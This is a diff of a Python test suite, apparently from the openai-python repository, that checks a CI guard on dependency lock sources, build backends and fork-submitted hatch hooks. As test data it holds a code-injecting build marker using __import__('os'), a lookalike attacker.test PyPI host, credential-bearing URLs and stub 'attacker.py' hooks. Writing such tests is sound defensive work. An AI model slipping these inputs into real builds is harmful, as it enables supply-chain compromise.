+def test_submitted_fork_lock_cannot_remove_reviewed_agents_constraint(tmp_path: Path, fork: bool) -> None:
+ result = _execute(tmp_path, "fork-submitted-pynput", fork=fork, constraints=True)
+ assert result.returncode == 0, result.stdout + result.stderr
+ pins = set((tmp_path / "reviewed-constraints.txt").read_text().splitlines())
+ assert ("pynput==1.6.8" in pins) == fork
+
+
+def test_reviewed_constraints_apply_only_to_existing_no_sync_link_step() -> None:
+ workflow = WORKFLOW.read_text()
+ generator = workflow.index(" - name: Constrain Agents-only packages to reviewed locked versions\n")
+ link = workflow.index(" - name: Link to local SDK\n", generator)
+ validator = workflow.index(" - name: Verify relinked Agents lock package provenance\n", link)
+ install = workflow.index(" - name: Install dependencies\n", validator)
+ link_step = workflow[link:validator]
+ assert generator < link < validator < install
+ assert " UV_CONSTRAINT: " in link_step
+ assert "steps.reviewed_agents_constraints.outputs.path" in link_step
+ assert " run: uv add --no-sync ../openai-python\n" in link_step
+ assert "UV_CONSTRAINT:" not in workflow[validator:]
+ assert "mktemp" in workflow[generator:link]
+ assert "GITHUB_OUTPUT" in workflow[generator:link]
+
+
+def test_uv_constraint_prevents_unreviewed_agents_only_upgrade_before_relink(tmp_path: Path) -> None:
+ uv = shutil.which("uv")
+ if uv is None:
+ pytest.skip("uv is unavailable")
+
+ candidate = tmp_path / "candidate"
+ candidate.mkdir()
+ (candidate / "pyproject.toml").write_text(
+ '[project]\nname = "pynput"\nversion = "1.8.2"\nrequires-python = ">=3.10"\ndependencies = []\n'
+ )
+ vulnerable = tmp_path / "vulnerable"
+ protected = tmp_path / "protected"
+ for project in (vulnerable, protected):
+ project.mkdir()
+ (project / "pyproject.toml").write_text(
+ '[project]\nname = "reviewed-agents"\nversion = "1.0.0"\nrequires-python = ">=3.10"\ndependencies = []\n'
+ )
+
+ environment = dict(os.environ)
+ environment.pop("UV_CONSTRAINT", None)
+ environment["UV_CACHE_DIR"] = str(tmp_path / "cache")
+ environment["UV_PYTHON_DOWNLOADS"] = "never"
+ unconstrained = subprocess.run(
+ [uv, "--offline", "--directory", str(vulnerable), "add", "--no-sync", "../candidate"],
+ env=environment,
+ capture_output=True,
+ text=True,
+ check=False,
+ )
+ assert unconstrained.returncode == 0, unconstrained.stdout + unconstrained.stderr
+ assert 'version = "1.8.2"' in (vulnerable / "uv.lock").read_text()
+
+ constraints = tmp_path / "reviewed-constraints.txt"
+ constraints.write_text("pynput==1.6.8\n")
+ environment["UV_CONSTRAINT"] = str(constraints)
+ constrained = subprocess.run(
+ [uv, "--offline", "--directory", str(protected), "add", "--no-sync", "../candidate"],
+ env=environment,
+ capture_output=True,
+ text=True,
+ check=False,
+ )
+ assert constrained.returncode != 0
+ assert "pynput" in constrained.stderr
diff --git a/tests/test_uv_workflows.py b/tests/test_uv_workflows.py
index ed9636f93a..e48f265f7b 100644
--- a/tests/test_uv_workflows.py
+++ b/tests/test_uv_workflows.py
@@ -4,11 +4,15 @@
import re
import sys
import json
+import shutil
import subprocess
from typing import Any, cast
from pathlib import Path
import pytest
+from packaging.markers import Marker
+from packaging.version import Version
+from packaging.requirements import Requirement
if sys.version_info >= (3, 11):
import tomllib
@@ -71,6 +75,4979 @@ def test_dependabot_delays_only_ordinary_version_updates() -> None:
assert "open-pull-requests-limit: 0" not in entry
+def dependency_lock_source_command() -> str:
+ path = ROOT / ".github/workflows/ci.yml"
+ if not path.exists():
+ pytest.skip("GitHub workflows are not included in source distributions")
+
+ line = next(
+ entry
+ for entry in path.read_text().splitlines()
+ if "python -I -c '" in entry and "Use only the public PyPI registry" in entry
+ )
+ command = line.split("python -I -c '", 1)[1].rsplit("'", 1)[0]
+ if sys.version_info < (3, 11):
+ command = "import sys, tomli; sys.modules['tomllib'] = tomli; " + command
+ return command
+
+
+def run_dependency_lock_source_check(
+ tmp_path: Path,
+ packages: list[dict[str, object]],
+ *,
+ build_requires: list[str] | None = None,
+ build_group: list[str] | None = None,
+ build_constraints: list[str] | None = None,
+ backend: str = "hatchling.build",
+ backend_path: list[str] | None = None,
+ uv_sources: dict[str, dict[str, str]] | None = None,
+ uv_index_url: str | None = None,
+ uv_overrides: dict[str, object] | None = None,
+ extra_uv_config: str | None = None,
+ project_name: str | None = None,
+ trusted_fork: bool = False,
+ trusted_base_requires: list[str] | None = None,
+ trusted_base_group: list[str] | None = None,
+ trusted_base_constraints: list[str] | None = None,
+ trusted_base_backend: str = "hatchling.build",
+ trusted_base_sha: str = "a" * 40,
+ trusted_base_lock: str | None = None,
+ trusted_origin: str = "https://github.com/openai/openai-python.git",
+ hatch_configuration: str = "",
+ trusted_hatch_configuration: str = "",
+ hatch_files: dict[str, str] | None = None,
+ trusted_hatch_files: dict[str, str] | None = None,
+ hatch_symlinks: dict[str, str] | None = None,
+) -> subprocess.CompletedProcess[str]:
+ project = tomllib.loads((ROOT / "pyproject.toml").read_text())["project"]
+ requires = ["hatchling==1.27.0"] if build_requires is None else build_requires
+ group = ["hatchling==1.27.0"] if build_group is None else build_group
+ constraints = ["hatchling==1.27.0"] if build_constraints is None else build_constraints
+ if project_name is None:
+ project_name = project["name"]
+ configuration = (
+ f"[project]\nname = {json.dumps(project_name)}\nversion = {json.dumps(project['version'])}\n"
+ + f"[build-system]\nrequires = {json.dumps(requires)}\nbuild-backend = {json.dumps(backend)}\n"
+ )
+ if backend_path is not None:
+ configuration += "backend-path = " + json.dumps(backend_path) + "\n"
+ configuration += (
+ "[dependency-groups]\nbuild = "
+ + json.dumps(group)
+ + "\n[tool.uv]\nbuild-constraint-dependencies = "
+ + json.dumps(constraints)
+ + "\n"
+ )
+ if uv_index_url is not None:
+ configuration += "index-url = " + json.dumps(uv_index_url) + "\n"
+ if uv_overrides is not None:
+ for name, value in uv_overrides.items():
+ configuration += name + " = " + json.dumps(value) + "\n"
+ if uv_sources is not None:
+ configuration += "[tool.uv.sources]\n"
+ for name, configured_source in uv_sources.items():
+ values = ", ".join(key + " = " + json.dumps(value) for key, value in configured_source.items())
+ configuration += name + " = { " + values + " }\n"
+ configuration += hatch_configuration
+ (tmp_path / "pyproject.toml").write_text(configuration)
+ for name, contents in (hatch_files or {}).items():
+ destination = tmp_path / name
+ destination.parent.mkdir(parents=True, exist_ok=True)
+ destination.write_text(contents)
+ for name, target in (hatch_symlinks or {}).items():
+ destination = tmp_path / name
+ destination.parent.mkdir(parents=True, exist_ok=True)
+ destination.symlink_to(target)
+ if extra_uv_config is not None:
+ (tmp_path / extra_uv_config).write_text('no-binary-package = ["reviewed-dependency"]\n')
+
+ lines: list[str] = []
+ reviewed: dict[str, object] = {
+ "name": "hatchling",
+ "version": "1.27.0",
+ "source": {"registry": "https://pypi.org/simple"},
+ }
+ fixtures = packages if any(package.get("name") == "hatchling" for package in packages) else [*packages, reviewed]
+ for package in fixtures:
+ lines.extend(
+ [
+ "[[package]]",
+ f"name = {json.dumps(package['name'])}",
+ f"version = {json.dumps(package['version'])}",
+ ]
+ )
+ source = package.get("source")
+ if source is not None:
+ assert isinstance(source, dict)
+ source_values = cast(dict[str, object], source)
+ values = ", ".join(f"{key} = {json.dumps(value)}" for key, value in source_values.items())
+ lines.append("source = { " + values + " }")
+ artifact = package.get("sdist")
+ if "sdist" not in package and source == {"registry": "https://pypi.org/simple"}:
+ artifact = {
+ "url": "https://files.pythonhosted.org/packages/reviewed-1.0.0.tar.gz",
+ "hash": "sha256:" + "a" * 64,
+ }
+ if artifact is not None:
+ assert isinstance(artifact, dict)
+ artifact_values = cast(dict[str, object], artifact)
+ values = ", ".join(f"{key} = {json.dumps(value)}" for key, value in artifact_values.items())
+ lines.append("sdist = { " + values + " }")
+ wheels = package.get("wheels")
+ if "wheels" not in package and source == {"registry": "https://pypi.org/simple"}:
+ wheels = (
+ []
+ if package.get("sdist_only") or "sdist" in package and package["sdist"] is None
+ else [
+ {
+ "url": "https://files.pythonhosted.org/packages/reviewed-1.0.0-py3-none-any.whl",
+ "hash": "sha256:" + "b" * 64,
+ }
+ ]
+ )
+ if wheels is not None:
+ assert isinstance(wheels, list)
+ typed_wheels = cast(list[dict[str, object]], wheels)
+ wheel_values = [
+ "{ " + ", ".join(f"{key} = {json.dumps(value)}" for key, value in wheel.items()) + " }"
+ for wheel in typed_wheels
+ ]
+ lines.append("wheels = [" + ", ".join(wheel_values) + "]")
+ lines.append("")
+
+ (tmp_path / "uv.lock").write_text("\n".join(lines))
+ environment = dict(
+ os.environ,
+ UNTRUSTED_BUILD_FORK="1" if trusted_fork else "0",
+ TRUSTED_BUILD_BASE_SHA=trusted_base_sha,
+ )
+ if trusted_fork:
+ reviewed_requires = ["hatchling==1.27.0"] if trusted_base_requires is None else trusted_base_requires
+ reviewed_group = ["hatchling==1.27.0"] if trusted_base_group is None else trusted_base_group
+ reviewed_constraints = ["hatchling==1.27.0"] if trusted_base_constraints is None else trusted_base_constraints
+ trusted_configuration = (
+ "[build-system]\nrequires = "
+ + json.dumps(reviewed_requires)
+ + "\nbuild-backend = "
+ + json.dumps(trusted_base_backend)
+ + "\n[dependency-groups]\nbuild = "
+ + json.dumps(reviewed_group)
+ + "\n[tool.uv]\nbuild-constraint-dependencies = "
+ + json.dumps(reviewed_constraints)
+ + "\n"
+ )
+ trusted_configuration += trusted_hatch_configuration
+ (tmp_path / "trusted-base.toml").write_text(trusted_configuration)
+ for name, contents in (trusted_hatch_files or {}).items():
+ destination = tmp_path / ".trusted-hooks" / name
+ destination.parent.mkdir(parents=True, exist_ok=True)
+ destination.write_text(contents)
+ (tmp_path / "trusted-base.lock").write_text(
+ (tmp_path / "uv.lock").read_text() if trusted_base_lock is None else trusted_base_lock
+ )
+ fake_git = tmp_path / "git"
+ fake_git.write_text(
+ f"#!{sys.executable}\n"
+ "import pathlib, sys\n"
+ f"root = pathlib.Path({str(tmp_path)!r})\n"
+ f"origin = {trusted_origin!r}\n"
+ f"sha = {trusted_base_sha!r}\n"
+ "arguments = sys.argv[1:]\n"
+ "if arguments == ['remote', 'get-url', 'origin']:\n"
+ " print(origin)\n"
+ "elif arguments == ['fetch', '--no-tags', '--depth=1', 'origin', sha]:\n"
+ " pass\n"
+ "elif arguments == ['show', sha + ':pyproject.toml']:\n"
+ " print((root / 'trusted-base.toml').read_text(), end='')\n"
+ "elif arguments == ['show', sha + ':uv.lock']:\n"
+ " print((root / 'trusted-base.lock').read_text(), end='')\n"
+ "elif len(arguments) == 2 and arguments[0] == 'show' and arguments[1].startswith(sha + ':'):\n"
+ " path = root / '.trusted-hooks' / arguments[1].split(':', 1)[1]\n"
+ " sys.stdout.buffer.write(path.read_bytes())\n"
+ "else:\n"
+ " raise SystemExit('Unexpected or unsafe git operation')\n"
+ )
+ fake_git.chmod(0o755)
+ environment["PATH"] = str(tmp_path) + os.pathsep + environment["PATH"]
+ return subprocess.run(
+ [sys.executable, "-c", dependency_lock_source_command()],
+ cwd=tmp_path,
+ env=environment,
+ capture_output=True,
+ text=True,
+ check=False,
+ )
+
+
+@pytest.mark.parametrize(
+ ("source", "accepted"),
+ [
+ pytest.param({"registry": "https://pypi.org/simple"}, True, id="public-pypi"),
+ pytest.param({"git": "https://github.com/unreviewed/package"}, False, id="git"),
+ pytest.param({"url": "https://unreviewed.example/package.whl"}, False, id="url"),
+ pytest.param({"path": "../unreviewed"}, False, id="path"),
+ pytest.param({"directory": "../unreviewed"}, False, id="directory"),
+ pytest.param({"editable": "."}, False, id="third-party-editable-root"),
+ pytest.param({"registry": "https://private.example/simple"}, False, id="private-registry"),
+ pytest.param({}, False, id="empty-source"),
+ pytest.param(None, False, id="missing-source"),
+ pytest.param({"unknown": "unreviewed"}, False, id="unknown-source"),
+ pytest.param(
+ {"registry": "https://pypi.org/simple", "git": "https://github.com/unreviewed/package"},
+ False,
+ id="hybrid-registry-source",
+ ),
+ ],
+)
+def test_dependency_lock_accepts_only_public_registry_dependencies(
+ tmp_path: Path, source: dict[str, str] | None, accepted: bool
+) -> None:
+ project = tomllib.loads((ROOT / "pyproject.toml").read_text())["project"]
+ root: dict[str, object] = {
+ "name": project["name"],
+ "version": project["version"],
+ "source": {"editable": "."},
+ }
+ dependency: dict[str, object] = {"name": "reviewed-dependency", "version": "1.0.0"}
+ if source is not None:
+ dependency["source"] = source
+
+ result = run_dependency_lock_source_check(tmp_path, [root, dependency])
+
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+ if not accepted:
+ assert "Use only the public PyPI registry" in result.stderr
+
+
+@pytest.mark.parametrize("kind", ["sdist", "wheel"])
+@pytest.mark.parametrize(
+ ("url", "digest", "accepted"),
+ [
+ pytest.param("https://files.pythonhosted.org/packages/reviewed.whl", "a" * 64, True, id="public-pypi"),
+ pytest.param("https://unreviewed.example/packages/reviewed.whl", "a" * 64, False, id="foreign-host"),
+ pytest.param("http://files.pythonhosted.org/packages/reviewed.whl", "a" * 64, False, id="insecure-http"),
+ pytest.param(
+ "https://user:pass@files.pythonhosted.org/packages/reviewed.whl",
+ "a" * 64,
+ False,
+ id="credentials",
+ ),
+ pytest.param("https://files.pythonhosted.org:443/packages/reviewed.whl", "a" * 64, False, id="port"),
+ pytest.param("https://files.pythonhosted.org/packages/reviewed.whl?redirect=1", "a" * 64, False, id="query"),
+ pytest.param("https://files.pythonhosted.org/packages/reviewed.whl#redirect", "a" * 64, False, id="fragment"),
+ pytest.param("https://files.pythonhosted.org/redirect/reviewed.whl", "a" * 64, False, id="path"),
+ pytest.param(
+ "https://files.pythonhosted.org.attacker.test/packages/reviewed.whl", "a" * 64, False, id="suffix"
+ ),
+ pytest.param("https://files.pythonhosted.org/packages/reviewed.whl", "invalid", False, id="hash"),
+ ],
+)
+def test_dependency_lock_rejects_untrusted_distribution_artifacts(
+ tmp_path: Path, kind: str, url: str, digest: str, accepted: bool
+) -> None:
+ project = tomllib.loads((ROOT / "pyproject.toml").read_text())["project"]
+ root: dict[str, object] = {
+ "name": project["name"],
+ "version": project["version"],
+ "source": {"editable": "."},
+ }
+ artifact = {"url": url, "hash": "sha256:" + digest}
+ dependency: dict[str, object] = {
+ "name": "reviewed-dependency",
+ "version": "1.0.0",
+ "source": {"registry": "https://pypi.org/simple"},
+ }
+ if kind == "sdist":
+ dependency["sdist"] = artifact
+ else:
+ dependency["sdist"] = None
+ dependency["wheels"] = [artifact]
+
+ result = run_dependency_lock_source_check(tmp_path, [root, dependency])
+
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize("artifact", [None, {}, {"url": "https://files.pythonhosted.org/packages/reviewed.whl"}])
+def test_dependency_lock_rejects_missing_distribution_artifacts(
+ tmp_path: Path, artifact: dict[str, str] | None
+) -> None:
+ project = tomllib.loads((ROOT / "pyproject.toml").read_text())["project"]
+ root: dict[str, object] = {
+ "name": project["name"],
+ "version": project["version"],
+ "source": {"editable": "."},
+ }
+ dependency: dict[str, object] = {
+ "name": "reviewed-dependency",
+ "version": "1.0.0",
+ "source": {"registry": "https://pypi.org/simple"},
+ "sdist": artifact,
+ }
+ result = run_dependency_lock_source_check(tmp_path, [root, dependency])
+ assert result.returncode != 0, result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ "variant", ["missing", "duplicate", "wrong-name", "wrong-version", "wrong-path", "hybrid-root"]
+)
+def test_dependency_lock_requires_one_exact_editable_root(tmp_path: Path, variant: str) -> None:
+ project = tomllib.loads((ROOT / "pyproject.toml").read_text())["project"]
+ root: dict[str, object] = {
+ "name": project["name"],
+ "version": project["version"],
+ "source": {"editable": "."},
+ }
+ dependency: dict[str, object] = {
+ "name": "reviewed-dependency",
+ "version": "1.0.0",
+ "source": {"registry": "https://pypi.org/simple"},
+ }
+ if variant == "wrong-name":
+ root["name"] = "unreviewed-root"
+ elif variant == "wrong-version":
+ root["version"] = "0.0.0"
+ elif variant == "wrong-path":
+ root["source"] = {"editable": "../unreviewed"}
+ elif variant == "hybrid-root":
+ root["source"] = {"editable": ".", "registry": "https://pypi.org/simple"}
+
+ packages = [dependency] if variant == "missing" else [root, dependency]
+ if variant == "duplicate":
+ packages.append(dict(root))
+
+ result = run_dependency_lock_source_check(tmp_path, packages)
+
+ assert result.returncode == 1, result.stdout + result.stderr
+ assert "Use only the public PyPI registry" in result.stderr
+
+
+@pytest.mark.parametrize(
+ ("project_name", "registry_name", "accepted"),
+ [
+ pytest.param("openai", "reviewed-dependency", True, id="only-reviewed-editable-root"),
+ pytest.param("openai", "openai", False, id="public-registry-root-name-collision"),
+ pytest.param("openai", "OpenAI", False, id="public-registry-root-case-alias"),
+ pytest.param("openai", "OPENAI", False, id="public-registry-root-uppercase-alias"),
+ pytest.param("renamed-root", "openai", False, id="renamed-root-exempts-public-openai"),
+ pytest.param("open_ai", "openai", False, id="root-normalization-cannot-change-exemption"),
+ ],
+)
+def test_source_build_exemption_only_covers_the_unique_reviewed_editable_root(
+ tmp_path: Path, project_name: str, registry_name: str, accepted: bool
+) -> None:
+ project = tomllib.loads((ROOT / "pyproject.toml").read_text())["project"]
+ root: dict[str, object] = {
+ "name": project_name,
+ "version": project["version"],
+ "source": {"editable": "."},
+ }
+ dependency: dict[str, object] = {
+ "name": registry_name,
+ "version": "1.0.0",
+ "source": {"registry": "https://pypi.org/simple"},
+ }
+
+ result = run_dependency_lock_source_check(tmp_path, [root, dependency], project_name=project_name)
+
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+ if not accepted:
+ assert "Use only the public PyPI registry" in result.stderr
+
+
+def test_dependency_lock_source_check_accepts_the_committed_lock() -> None:
+ result = subprocess.run(
+ [sys.executable, "-c", dependency_lock_source_command()],
+ cwd=ROOT,
+ capture_output=True,
+ text=True,
+ check=False,
+ )
+
+ assert result.returncode == 0, result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("reviewed-pinned-backend", True, id="reviewed-pinned-backend"),
+ pytest.param("safe-python-marker", True, id="reviewed-pinned-python-marker"),
+ pytest.param("empty-sources", True, id="benign-empty-source-overrides"),
+ pytest.param("direct-url", False, id="root-build-direct-url"),
+ pytest.param("git", False, id="root-build-git-source"),
+ pytest.param("path", False, id="root-build-local-path"),
+ pytest.param("private-index", False, id="root-build-private-index"),
+ pytest.param("unpinned", False, id="root-build-unpinned-requirement"),
+ pytest.param("missing-pin", False, id="root-build-missing-reviewed-pin"),
+ pytest.param("unlocked-version", False, id="root-build-version-missing-from-lock"),
+ pytest.param("constraint-url", False, id="build-constraint-direct-url"),
+ pytest.param("group-mismatch", False, id="reviewed-build-group-mismatch"),
+ pytest.param("unlocked-group", False, id="reviewed-build-group-unlocked-dependency"),
+ pytest.param("backend", False, id="unreviewed-build-backend"),
+ pytest.param("backend-path", False, id="local-build-backend-path"),
+ pytest.param("source-git", False, id="pinned-hatchling-git-override"),
+ pytest.param("source-path", False, id="pinned-hatchling-path-override"),
+ pytest.param("index-override", False, id="pinned-hatchling-private-index-override"),
+ pytest.param("marker-code", False, id="untrusted-build-marker-expression"),
+ ],
+)
+def test_root_build_requirements_must_be_public_locked_and_reviewed(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ project = tomllib.loads((ROOT / "pyproject.toml").read_text())["project"]
+ root: dict[str, object] = {
+ "name": project["name"],
+ "version": project["version"],
+ "source": {"editable": "."},
+ }
+ requires = ["hatchling==1.27.0"]
+ group = ["hatchling==1.27.0"]
+ constraints = ["hatchling==1.27.0"]
+ backend = "hatchling.build"
+ backend_path: list[str] | None = None
+ sources: dict[str, dict[str, str]] | None = None
+ index: str | None = None
+ if variant == "safe-python-marker":
+ requires = group = constraints = ["hatchling==1.27.0; python_version < '3.11'"]
+ elif variant == "empty-sources":
+ sources = {}
+ elif variant == "direct-url":
+ requires = ["hatchling @ https://unreviewed.example/hatchling.whl"]
+ elif variant == "git":
+ requires = ["hatchling @ git+https://github.com/unreviewed/hatchling"]
+ elif variant == "path":
+ requires = ["hatchling @ file:///tmp/unreviewed"]
+ elif variant == "private-index":
+ requires = ["hatchling==1.27.0 --index-url https://private.example/simple"]
+ elif variant == "unpinned":
+ requires = ["hatchling>=1.27.0"]
+ elif variant == "missing-pin":
+ requires = []
+ elif variant == "unlocked-version":
+ requires = group = constraints = ["hatchling==9.9.9"]
+ elif variant == "constraint-url":
+ group = constraints = ["hatchling @ https://unreviewed.example/hatchling.whl"]
+ elif variant == "group-mismatch":
+ group = ["hatchling==1.26.0"]
+ elif variant == "unlocked-group":
+ group = constraints = ["hatchling==1.27.0", "packaging==26.3"]
+ elif variant == "backend":
+ backend = "unreviewed.build"
+ elif variant == "backend-path":
+ backend_path = ["."]
+ elif variant == "source-git":
+ sources = {"hatchling": {"git": "https://github.com/unreviewed/hatchling"}}
+ elif variant == "source-path":
+ sources = {"hatchling": {"path": "../unreviewed"}}
+ elif variant == "index-override":
+ index = "https://private.example/simple"
+ elif variant == "marker-code":
+ requires = group = constraints = ['hatchling==1.27.0; __import__("os")']
+ result = run_dependency_lock_source_check(
+ tmp_path,
+ [root],
+ build_requires=requires,
+ build_group=group,
+ build_constraints=constraints,
+ backend=backend,
+ backend_path=backend_path,
+ uv_sources=sources,
+ uv_index_url=index,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("reviewed-fork", True, id="fork-keeps-trusted-base-build-pins"),
+ pytest.param("fork-hatchling-downgrade", False, id="fork-cannot-downgrade-public-hatchling"),
+ pytest.param("fork-hatchling-upgrade", False, id="fork-cannot-swap-public-hatchling-release"),
+ pytest.param("fork-build-pin-downgrade", False, id="fork-cannot-change-transitive-backend-pin"),
+ pytest.param("fork-extra-build-pin", False, id="fork-cannot-add-unreviewed-backend-package"),
+ pytest.param("fork-marker-change", False, id="fork-cannot-change-reviewed-build-marker"),
+ pytest.param("fork-marker-literal-case", False, id="fork-cannot-change-case-sensitive-marker"),
+ pytest.param("fork-backend-change", False, id="fork-backend-must-match-trusted-base"),
+ pytest.param("fork-invalid-base-sha", False, id="fork-rejects-untrusted-base-sha"),
+ pytest.param("fork-foreign-origin", False, id="fork-rejects-untrusted-git-origin"),
+ pytest.param("fork-credential-origin", False, id="fork-rejects-credential-bearing-origin"),
+ pytest.param("fork-canonical-reorder", True, id="fork-allows-canonical-pins-and-reordering"),
+ pytest.param("fork-reviewed-base-update", True, id="fork-allows-already-reviewed-base-update"),
+ pytest.param("trusted-maintainer-update", True, id="same-repo-maintainer-can-update-build-pins"),
+ pytest.param("trusted-dependabot-update", True, id="same-repo-security-bot-can-update-build-pins"),
+ ],
+)
+def test_fork_build_backend_must_match_immutable_reviewed_base(tmp_path: Path, variant: str, accepted: bool) -> None:
+ project = tomllib.loads((ROOT / "pyproject.toml").read_text())["project"]
+ root: dict[str, object] = {
+ "name": project["name"],
+ "version": project["version"],
+ "source": {"editable": "."},
+ }
+ hatchling: dict[str, object] = {
+ "name": "hatchling",
+ "version": "1.27.0",
+ "source": {"registry": "https://pypi.org/simple"},
+ }
+ packages: list[dict[str, object]] = [root, hatchling]
+ requires = ["hatchling==1.27.0"]
+ group = ["hatchling==1.27.0"]
+ constraints = ["hatchling==1.27.0"]
+ base_requires = ["hatchling==1.27.0"]
+ base_group = ["hatchling==1.27.0"]
+ base_constraints = ["hatchling==1.27.0"]
+ base_backend = "hatchling.build"
+ base_sha = "a" * 40
+ origin = "https://github.com/openai/openai-python.git"
+ fork = not variant.startswith("trusted-")
+
+ if variant in {"fork-hatchling-downgrade", "fork-hatchling-upgrade"}:
+ version = "1.26.0" if variant == "fork-hatchling-downgrade" else "1.28.0"
+ hatchling["version"] = version
+ requires = group = constraints = ["hatchling==" + version]
+ elif variant in {"fork-build-pin-downgrade", "fork-extra-build-pin", "fork-canonical-reorder"}:
+ version = "25.0" if variant == "fork-build-pin-downgrade" else "26.3"
+ packages.append(
+ {
+ "name": "packaging",
+ "version": version,
+ "source": {"registry": "https://pypi.org/simple"},
+ }
+ )
+ if variant == "fork-canonical-reorder":
+ group = constraints = ["PACKAGING == 26.3", "hatchling==1.27.0"]
+ else:
+ group = constraints = ["hatchling==1.27.0", "packaging==" + version]
+ if variant != "fork-extra-build-pin":
+ base_group = base_constraints = ["hatchling==1.27.0", "packaging==26.3"]
+ elif variant in {"fork-marker-change", "fork-marker-literal-case"}:
+ packages.append(
+ {
+ "name": "tomli",
+ "version": "2.4.1",
+ "source": {"registry": "https://pypi.org/simple"},
+ }
+ )
+ if variant == "fork-marker-change":
+ head_marker = "python_version < '3.12'"
+ base_marker = "python_version < '3.11'"
+ else:
+ head_marker = "sys_platform == 'linux'"
+ base_marker = "sys_platform == 'Linux'"
+ group = constraints = ["hatchling==1.27.0", "tomli==2.4.1; " + head_marker]
+ base_group = base_constraints = ["hatchling==1.27.0", "tomli==2.4.1; " + base_marker]
+ elif variant == "fork-backend-change":
+ base_backend = "reviewed.backend"
+ elif variant == "fork-invalid-base-sha":
+ base_sha = "a" * 39 + "Z"
+ elif variant == "fork-foreign-origin":
+ origin = "https://github.com/unreviewed/openai-python.git"
+ elif variant == "fork-credential-origin":
+ origin = "https://token@github.com/openai/openai-python.git"
+ elif variant in {"fork-reviewed-base-update", "trusted-maintainer-update", "trusted-dependabot-update"}:
+ hatchling["version"] = "1.28.0"
+ requires = group = constraints = ["hatchling==1.28.0"]
+ if variant == "fork-reviewed-base-update":
+ base_requires = base_group = base_constraints = ["hatchling==1.28.0"]
+
+ result = run_dependency_lock_source_check(
+ tmp_path,
+ packages,
+ build_requires=requires,
+ build_group=group,
+ build_constraints=constraints,
+ trusted_fork=fork,
+ trusted_base_requires=base_requires,
+ trusted_base_group=base_group,
+ trusted_base_constraints=base_constraints,
+ trusted_base_backend=base_backend,
+ trusted_base_sha=base_sha,
+ trusted_origin=origin,
+ )
+
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("fork-added-global", False, id="fork-cannot-add-executable-global-hatch-hook"),
+ pytest.param("fork-added-target", False, id="fork-cannot-add-executable-target-hatch-hook"),
+ pytest.param("fork-added-metadata", False, id="fork-cannot-add-executable-metadata-hatch-hook"),
+ pytest.param("fork-changed-path", False, id="fork-cannot-redirect-reviewed-custom-hook"),
+ pytest.param("fork-modified-source", False, id="fork-cannot-modify-reviewed-custom-hook-source"),
+ pytest.param("fork-missing-source", False, id="fork-cannot-remove-reviewed-custom-hook-source"),
+ pytest.param("fork-symlink-source", False, id="fork-cannot-use-symlinked-custom-hook-source"),
+ pytest.param("fork-traversal", False, id="fork-cannot-escape-checkout-through-custom-hook-path"),
+ pytest.param("fork-reviewed-metadata", True, id="fork-preserves-immutable-reviewed-metadata-hook"),
+ pytest.param("fork-reviewed-default", True, id="fork-preserves-immutable-reviewed-default-hook"),
+ pytest.param("fork-packaging-change", True, id="fork-can-change-nonexecutable-hatch-build-metadata"),
+ pytest.param("same-repo-maintainer", True, id="trusted-maintainer-can-change-hatch-hooks"),
+ pytest.param("same-repo-dependabot", True, id="trusted-dependabot-can-change-hatch-hooks"),
+ ],
+)
+def test_fork_hatch_hooks_and_sources_must_match_immutable_reviewed_base(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ project = tomllib.loads((ROOT / "pyproject.toml").read_text())["project"]
+ packages: list[dict[str, object]] = [
+ {"name": project["name"], "version": project["version"], "source": {"editable": "."}}
+ ]
+ reviewed = '[tool.hatch.metadata.hooks.custom]\npath = "scripts/hatch_metadata.py"\n'
+ head = reviewed
+ base = reviewed
+ files = {"scripts/hatch_metadata.py": "reviewed = True\n"}
+ trusted_files = dict(files)
+ symlinks: dict[str, str] = {}
+
+ if variant == "fork-added-global":
+ head += '[tool.hatch.build.hooks.custom]\npath = "attacker.py"\n'
+ files["attacker.py"] = "raise RuntimeError('unreviewed global hook')\n"
+ elif variant == "fork-added-target":
+ head += '[tool.hatch.build.targets.wheel.hooks.custom]\npath = "attacker.py"\n'
+ files["attacker.py"] = "raise RuntimeError('unreviewed target hook')\n"
+ elif variant == "fork-added-metadata":
+ base = ""
+ elif variant == "fork-changed-path":
+ head = '[tool.hatch.metadata.hooks.custom]\npath = "attacker.py"\n'
+ files["attacker.py"] = "raise RuntimeError('unreviewed metadata hook')\n"
+ elif variant == "fork-modified-source":
+ files["scripts/hatch_metadata.py"] = "raise RuntimeError('modified reviewed hook')\n"
+ elif variant == "fork-missing-source":
+ files.clear()
+ elif variant == "fork-symlink-source":
+ files = {"reviewed.py": "reviewed = True\n"}
+ symlinks = {"scripts/hatch_metadata.py": "../reviewed.py"}
+ elif variant == "fork-traversal":
+ head = base = '[tool.hatch.metadata.hooks.custom]\npath = "../outside.py"\n'
+ files.clear()
+ trusted_files.clear()
+ elif variant == "fork-reviewed-default":
+ head = base = "[tool.hatch.build.hooks.custom]\n"
+ files = trusted_files = {"hatch_build.py": "reviewed = True\n"}
+ elif variant == "fork-packaging-change":
+ head += '[tool.hatch.build]\ninclude = ["different/*"]\n'
+ base += '[tool.hatch.build]\ninclude = ["src/*"]\n'
+ elif variant.startswith("same-repo-"):
+ head += '[tool.hatch.build.hooks.custom]\npath = "new-maintainer-hook.py"\n'
+ files["new-maintainer-hook.py"] = "reviewed_maintainer_update = True\n"
+
+ result = run_dependency_lock_source_check(
+ tmp_path,
+ packages,
+ trusted_fork=not variant.startswith("same-repo-"),
+ hatch_configuration=head,
+ trusted_hatch_configuration=base,
+ hatch_files=files,
+ trusted_hatch_files=trusted_files,
+ hatch_symlinks=symlinks,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("added-default", False, id="fork-cannot-add-unreviewed-default-wheel"),
